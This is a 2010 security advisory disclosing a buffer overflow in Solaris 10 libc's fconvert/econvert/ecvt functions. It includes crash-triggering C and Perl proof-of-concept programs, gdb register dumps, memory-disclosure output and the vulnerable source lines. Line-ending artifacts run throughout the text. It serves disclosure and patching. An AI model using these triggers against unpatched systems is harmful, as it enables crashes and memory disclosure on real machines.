|
-----BEGIN PGP SIGNED MESSAGE-----=0D Hash: SHA1=0D =0D [ Sun Solaris 10 libc/*convert (*cvt) buffer overflow ]=0D =0D Author: Maksymilian Arciemowicz=0D http://SecurityReason.com=0D Date:=0D - - Dis.: 15.04.2010=0D - - Pub.: 21.05.2010=0D =0D Affected Software:=0D - - Sun Solaris 10 10/9=0D =0D Original URL:=0D http://securityreason.com/achievement_securityalert/86=0D =0D =0D - --- 0.Description ---=0D SYNOPSIS=0D #include=0D =0D char *econvert(double value, int ndigit, int *decpt, int=0D *sign, char *buf);=0D =0D char *fconvert(double value, int ndigit, int *decpt, int=0D *sign, char *buf);=0D =0D char *gconvert(double value, int ndigit, int trailing, char=0D *buf);=0D =0D char *seconvert(single *value, int ndigit, int *decpt, int=0D *sign, char *buf);=0D =0D char *sfconvert(single *value, int ndigit, int *decpt, int=0D *sign, char *buf);=0D =0D char *sgconvert(single *value, int ndigit, int trailing,=0D char *buf);=0D =0D char *qeconvert(quadruple *value, int ndigit, int *decpt,=0D int *sign, char *buf);=0D =0D char *qfconvert(quadruple *value, int ndigit, int *decpt,=0D int *sign, char *buf);=0D =0D char *qgconvert(quadruple *value, int ndigit, int trailing,=0D char *buf);=0D =0D The econvert() function converts the value to a null-=0D terminated string of ndigit ASCII digits in buf and returns=0D a pointer to buf. buf should contain at least ndigit+1 char-=0D acters. The position of the decimal point relative to the=0D beginning of the string is stored indirectly through decpt.=0D Thus buf == "314" and *decpt == 1 corresponds to the numeri-=0D cal value 3.14, while buf == "314" and *decpt == -1=0D corresponds to the numerical value .0314. If the sign of the=0D result is negative, the word pointed to by sign is nonzero;=0D otherwise it is zero. The least significant digit is=0D rounded.=0D =0D SYNOPSIS=0D #include =0D =0D char *ecvt(double value, int ndigit, int *restrict decpt,=0D int *restrict sign);=0D =0D char *fcvt(double value, int ndigit, int *restrict decpt,=0D int *restrict sign);=0D =0D char *gcvt(double value, int ndigit, char *buf);=0D =0D DESCRIPTION=0D The ecvt(), fcvt() and gcvt() functions convert floating-=0D point numbers to null-terminated strings.=0D =0D =0D - --- 1. Sun Solaris 10 libc/*convert (*cvt) buffer overflow ---=0D The main problem exists in sun solaris libc. OpenSolaris is not affected.=0D =0D PoC:=0D - ---=0D # cat jaja.c=0D #include =0D #include =0D =0D int main (int argc, char *argv[]){=0D =0D char number[10000];=0D =0D int a,b;=0D =0D printf("%s", fconvert((double)0,atoi(argv[1]),&a,&b,number));=0D return 0;=0D }=0D =0D # /usr/local/bin/gcc -o jaja jaja.c=0D # ./jaja 16=0D 0000000000000000#=0D # ./jaja 512=0D 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000#=0D - ---=0D =0D for 512 will work fine, because we have used (double)0 to convert. When we use no zero value, then crash.=0D =0D ok. let`s set no zero value in jaja2.c=0D =0D Poc:=0D - ---=0D # cat jaja2.c=0D #include =0D #include =0D =0D int main (int argc, char *argv[]){=0D =0D char number[10000];=0D =0D int a,b;=0D =0D printf("%s", fconvert((double)1,atoi(argv[1]),&a,&b,number));=0D return 0;=0D }=0D =0D # /usr/local/bin/gcc -o jaja2 jaja2.c=0D # ./jaja2 512=0D Segmentation fault (core dumped)=0D # /usr/local/bin/gdb -q jaja2=0D (no debugging symbols found)=0D (gdb) r 512=0D Starting program: /jaja2 512=0D (no debugging symbols found)=0D (no debugging symbols found)=0D =0D Program received signal SIGSEGV, Segmentation fault.=0D 0xfeeab05c in fconvert () from /lib/libc.so.1=0D (gdb) i r=0D eax 0x8047240 134509120=0D ecx 0x3250 12880=0D edx 0x8048000 134512640=0D ebx 0xfef9e000 -17178624=0D esp 0x8044b38 0x8044b38=0D ebp 0x8044d68 0x8044d68=0D esi 0x200 512=0D edi 0x0 0=0D eip 0xfeeab05c 0xfeeab05c =0D eflags 0x10206 [ PF IF RF ]=0D cs 0x3b 59=0D ss 0x43 67=0D ds 0x43 67=0D es 0x43 67=0D fs 0x0 0=0D gs 0x1c3 451=0D (gdb) x/x $edx=0D 0x8048000: Cannot access memory at address 0x8048000=0D (gdb)=0D - ---=0D =0D the same result we can get with perl(1)=0D =0D PoC perl:=0D - ---=0D #!/usr/local/bin/perl=0D printf "%.512f", 1;=0D # perl pss.pl=0D Segmentation Fault - core dumped=0D # /usr/local/bin/gdb -q perl=0D (no debugging symbols found)=0D (gdb) r pss.pl=0D Starting program: /usr/bin/perl pss.pl=0D (no debugging symbols found)=0D (no debugging symbols found)=0D (no debugging symbols found)=0D (no debugging symbols found)=0D (no debugging symbols found)=0D (no debugging symbols found)=0D (no debugging symbols found)=0D =0D Program received signal SIGSEGV, Segmentation fault.=0D 0xfed7b05c in fconvert () from /lib/libc.so.1=0D - ---=0D =0D ok.=0D =0D function like *cvt(3) are also affected. let`s check ecvt(3)=0D =0D PoC:=0D - ---=0D # cat jaja3.c=0D #include =0D #include =0D =0D int main (int argc, char *argv[]){=0D =0D int a,b;=0D =0D printf("%s", ecvt((double)1,atoi(argv[1]),&a,&b));=0D return 0;=0D }=0D =0D # ./jaja3 3405=0D %Y....[some_part_of_memory]=0D #=0D - ---=0D =0D it`s look like a memory disclosure=0D =0D let's see bigger value=0D =0D PoC:=0D - ---=0D # ./jaja3 3500=0D Segmentation fault (core dumped)=0D - ---=0D =0D now is the time to debug it=0D =0D PoC:=0D - ---=0D # /usr/local/bin/gdb -q jaja3=0D (no debugging symbols found)=0D (gdb)=0D (gdb) r 4000=0D Starting program: /jaja3 4000=0D (no debugging symbols found)=0D (no debugging symbols found)=0D =0D Program received signal SIGSEGV, Segmentation fault.=0D 0xfeeaaf72 in econvert () from /lib/libc.so.1=0D (gdb) i r=0D eax 0xf00 3840=0D ecx 0xdac 3500=0D edx 0xfef929ab -17225301=0D ebx 0xfef9e000 -17178624=0D esp 0x8047230 0x8047230=0D ebp 0x8047460 0x8047460=0D esi 0xfa0 4000=0D edi 0x1 1=0D eip 0xfeeaaf72 0xfeeaaf72 =0D eflags 0x10287 [ CF PF SF IF RF ]=0D cs 0x3b 59=0D ss 0x43 67=0D ds 0x43 67=0D es 0x43 67=0D fs 0x0 0=0D gs 0x1c3 451=0D - ---=0D =0D eip can be differ, not ever in econvert+144=0D =0D PoC:=0D - ---=0D (gdb) r 3501111111=0D The program being debugged has been started already.=0D Start it from the beginning? (y or n) y=0D Starting program: /jaja3 3501111111=0D [New LWP 1 ]=0D (no debugging symbols found)=0D (no debugging symbols found)=0D =0D Program received signal SIGSEGV, Segmentation fault.=0D 0xfeeaaf89 in econvert () from /lib/libc.so.1=0D (gdb) i r=0D eax 0xcfa7d347 -811084985=0D ecx 0x0 0=0D edx 0x1 1=0D ebx 0xfef9e000 -17178624=0D esp 0x8047230 0x8047230=0D ebp 0x8047460 0x8047460=0D esi 0xd0aeb747 -793856185=0D edi 0x1 1=0D eip 0xfeeaaf89 0xfeeaaf89 =0D eflags 0x10287 [ CF PF SF IF RF ]=0D cs 0x3b 59=0D ss 0x43 67=0D ds 0x43 67=0D es 0x43 67=0D fs 0x0 0=0D gs 0x1c3 451=0D - ---=0D =0D and not ever should crash in econvert=0D =0D very interesting behavior, we can see in printf(1) program=0D =0D PoC:=0D - ---=0D # /usr/local/bin/gdb -q printf=0D (no debugging symbols found)=0D (gdb) r %.011111f 0=0D Starting program: /usr/bin/printf %.011111f 0=0D (no debugging symbols found)=0D (no debugging symbols found)=0D (no debugging symbols found)=0D =0D Program received signal SIGSEGV, Segmentation fault.=0D 0xfeea48da in _malloc_unlocked () from /lib/libc.so.1=0D (gdb) r %.0111111f 0=0D The program being debugged has been started already.=0D Start it from the beginning? (y or n) y=0D =0D Starting program: /usr/bin/printf %.0111111f 0=0D [New LWP 1 ]=0D (no debugging symbols found)=0D (no debugging symbols found)=0D (no debugging symbols found)=0D =0D Program received signal SIGSEGV, Segmentation fault.=0D 0xfee852ab in memcpy () from /lib/libc.so.1=0D =0D (gdb) r %.0111111f 1=0D The program being debugged has been started already.=0D Start it from the beginning? (y or n) y=0D =0D Starting program: /usr/bin/printf %.0111111f 1=0D [New LWP 1 ]=0D (no debugging symbols found)=0D (no debugging symbols found)=0D (no debugging symbols found)=0D =0D Program received signal SIGSEGV, Segmentation fault.=0D 0xfee8b05c in fconvert () from /lib/libc.so.1=0D (gdb) x/i $eip=0D 0xfee8b05c : mov %al,(%edx)=0D - ---=0D =0D for printf(1) we have get eip in:=0D - - fconvert+163 (the same like in jaja2=512)=0D - - memcpy=0D - - _malloc_unlocked=0D - - others=0D =0D this vuln is very similar to CVE-2009-0689 but we don't have founded part of gdtoa license in Oracle license and bahavior for above examples are differs as in CVE-2009-0689.=0D =0D http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/libc/gen/common/ecvt.c=0D =0D - ---=0D 34 char *=0D 35 ecvt(arg, ndigits, decpt, sign)=0D 36 double arg;=0D 37 int ndigits, *decpt, *sign;=0D 38 {=0D 39 if (efcvtbuffer == NULL)=0D 40 efcvtbuffer = (char *)calloc(1,1024);=0D 41 return econvert(arg, ndigits, decpt, sign, efcvtbuffer);=0D 42 }=0D 43 =0D - ---=0D =0D efcvtbuffer = (char *)calloc(1,1024);=0D and ndigits is bigger from efcvtbuffer size.=0D =0D now we show econvert(), =0D =0D http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/libc/gen/common/econvert.c=0D =0D - ---=0D 34 econvert(arg, ndigits, decpt, sign, buf)=0D 35 double arg;=0D 36 int ndigits, *decpt, *sign;=0D 37 char *buf;=0D 38 {=0D 39 decimal_mode dm;=0D 40 decimal_record dr;=0D 41 fp_exception_field_type ef;=0D 42 int i;=0D 43 char *pc;=0D 44 int nc;=0D 45 =0D 46 dm.rd = fp_direction; /* Rounding direction. */=0D 47 dm.df = floating_form; /* E format. */=0D 48 dm.ndigits = ndigits; /* Number of significant digits. */=0D 49 double_to_decimal(&arg, &dm, &dr, &ef);=0D 50 *sign = dr.sign;=0D 51 switch (dr.fpclass) {=0D 52 case fp_normal:=0D 53 case fp_subnormal:=0D 54 *decpt = dr.exponent + ndigits;=0D 55 for (i = 0; i < ndigits; i++)=0D 56 buf[i] = dr.ds[i];=0D 57 buf[ndigits] = 0;=0D 58 break;=0D - ---=0D =0D line 55 and 56 show buffer overflow.=0D =0D We do not know why, but the OpenSolaris project, contains a security patch and the project is vulnerable SunOS.=0D =0D =0D - --- 2. Fix ---=0D Sun bug 5105920=0D =0D OpenSolaris has removed this issue without realizing the security nature of the bug.=0D =0D =0D - --- 3. Greets ---=0D sp3x Infospec pi3=0D =0D =0D - --- 4. Contact ---=0D Author: SecurityReason.com [ Maksymilian Arciemowicz ]=0D =0D Email:=0D - - cxib {a\./t] securityreason [d=t} com=0D =0D GPG:=0D - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg=0D =0D http://securityreason.com/=0D http://securityreason.com/exploit_alert/ - Exploit Database=0D http://securityreason.com/security_alert/ - Vulnerability Database=0D -----BEGIN PGP SIGNATURE-----=0D =0D iEYEARECAAYFAkv2dzwACgkQpiCeOKaYa9ZlZgCePDO6yzT92gv8BZWgVIzkRVz7=0D SHIAn2EeEKyQMPdGXWcEahv0lYzwizzy=0D =SXST=0D -----END PGP SIGNATURE-----=0D